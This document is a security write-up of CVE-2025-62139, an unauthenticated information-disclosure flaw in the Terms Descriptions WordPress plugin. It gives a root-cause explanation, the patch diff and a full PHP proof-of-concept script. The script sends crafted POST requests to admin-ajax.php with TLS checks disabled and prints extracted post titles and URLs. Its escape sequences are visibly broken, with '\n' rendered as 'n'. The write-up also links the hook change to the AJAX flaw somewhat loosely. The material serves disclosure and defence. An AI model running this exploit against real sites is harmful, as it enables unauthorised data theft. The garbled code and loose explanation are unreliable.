Atomic Edge analysis of CVE-2025-62139:
The Terms Descriptions WordPress plugin, up to version 3.4.9, contains an unauthenticated information disclosure vulnerability. This flaw allows attackers to retrieve sensitive data from the plugin’s administrative interface without authentication.
Atomic Edge research identifies the root cause as insufficient access control on the plugin’s AJAX handler. The vulnerable code resides in the file `terms-descriptions/ajax/td_terms_ajax.php`. The function handling the AJAX request does not implement a capability check or a nonce verification. This allows unauthenticated users to trigger the `td_terms_ajax.php` endpoint, which processes POST parameters like `td_post_id` and `td_link` to query and return internal data.
Exploitation involves sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `td_terms_ajax`. The attacker must also supply the `td_post_id` and `td_link` parameters. The plugin’s handler uses these parameters to perform a database lookup, returning term data that includes internal post titles and URLs. Attackers can brute-force or enumerate these IDs to extract information not intended for public disclosure.
The patch addresses multiple issues. In `td_terms_ajax.php`, it adds type casting `(int)` to the `td_post_id` parameter and applies `esc_attr()` to the `td_link` parameter. More critically, in `td_admin_tools.php`, the patch changes the hook for the `process_form_data` method from `init` to `admin_init`. The `admin_init` hook runs only for authenticated administrative requests, thereby preventing unauthenticated access to the form processing functionality. Additional changes add output escaping in the admin panel for defense in depth.
Successful exploitation leads to sensitive information exposure. Attackers can extract data managed by the plugin, which may include internal post titles, associated URLs, and term relationships. This data could reveal unpublished content, internal site structure, or configuration details useful for further attacks.
--- a/terms-descriptions/ajax/td_terms_ajax.php
+++ b/terms-descriptions/ajax/td_terms_ajax.php
@@ -118,8 +118,8 @@
echo json_encode($res);
die();
}
- $term_data = array('t_post_id' => $_POST['td_post_id'],
- 't_post_title' => $_POST['td_link'],
+ $term_data = array('t_post_id' => ( int )$_POST['td_post_id'],
+ 't_post_title' => esc_attr($_POST['td_link']),
't_post_url' => $term_link,
't_post_type' => $_POST['td_content_type'],
't_term' => $term,
--- a/terms-descriptions/includes/td_admin_options.php
+++ b/terms-descriptions/includes/td_admin_options.php
@@ -324,7 +324,9 @@
}
foreach ($input as $key => $value) {
- $input[$key] = wp_kses_post($value);
+ if ('skip_tags' !== $key) {
+ $input[$key] = wp_kses_post($value);
+ }
}
if ( false !== $old_options ) {
--- a/terms-descriptions/includes/td_admin_terms.php
+++ b/terms-descriptions/includes/td_admin_terms.php
@@ -473,7 +473,7 @@
<span class="trash"><a href="?action=td_delete_term&term_id=<?php echo $term->t_id; ?>&_wpnonce=<?php echo $nonce; ?>"><?php _e( 'Delete', 'terms-descriptions' ); ?></a></span>
</div>
</td>
- <td><?php echo '<a href="' . $term->t_post_url . '" target="_blank">' . stripcslashes( $term->t_post_title ) . '</a>'; ?></td>
+ <td><?php echo '<a href="' . $term->t_post_url . '" target="_blank">' . esc_attr( stripcslashes( $term->t_post_title ) ) . '</a>'; ?></td>
<td>
<?php
$cur_types_names = __( 'All', 'terms-descriptions' );
--- a/terms-descriptions/includes/td_admin_tools.php
+++ b/terms-descriptions/includes/td_admin_tools.php
@@ -11,7 +11,7 @@
*/
public function __construct() {
add_action( 'admin_menu', array( $this, 'admin_menu' ) );
- add_action( 'init', array( $this, 'process_form_data' ) );
+ add_action( 'admin_init', array( $this, 'process_form_data' ) );
}
/**
--- a/terms-descriptions/terms-descriptions.php
+++ b/terms-descriptions/terms-descriptions.php
@@ -3,7 +3,7 @@
Plugin Name: Terms Descriptions
Plugin URI: https://simplecoding.org/plagin-wordpress-terms-descriptions
Description: This plugin allows you to create list of terms and assign links to them. Plugin automatically replaces terms occurrences in your posts with appropriate links. You can control the number of replacements. After activation you can create terms list on plugin administration page (Tools -> Terms Descriptions).
-Version: 3.4.9
+Version: 3.4.10
Author: Vladimir Statsenko
Author URI: https://simplecoding.org
Text Domain: wordpress.org/plugins/terms-descriptions
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62139 - Terms descriptions <= 3.4.9 - Unauthenticated Information Exposure
<?php
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php';
// The AJAX action for the vulnerable handler.
$action = 'td_terms_ajax';
// The POST parameters required by the handler.
// td_post_id is the target post ID to query.
// td_link is a required parameter, value may influence output.
$post_id = 1;
$td_link = 'sample';
$post_data = array(
'action' => $action,
'td_post_id' => $post_id,
'td_link' => $td_link
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Bypass SSL verification for testing environments.
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
echo "[*] Request successful. HTTP Code: $http_coden";
echo "[*] Response:n";
echo $response . "n";
// The response may be JSON containing term data like t_post_title and t_post_url.
$decoded = json_decode($response, true);
if (json_last_error() === JSON_ERROR_NONE && isset($decoded['t_post_title'])) {
echo "[+] Extracted Post Title: " . $decoded['t_post_title'] . "n";
if (isset($decoded['t_post_url'])) {
echo "[+] Extracted Post URL: " . $decoded['t_post_url'] . "n";
}
}
} else {
echo "[!] Request failed or returned empty. HTTP Code: $http_coden";
}
?>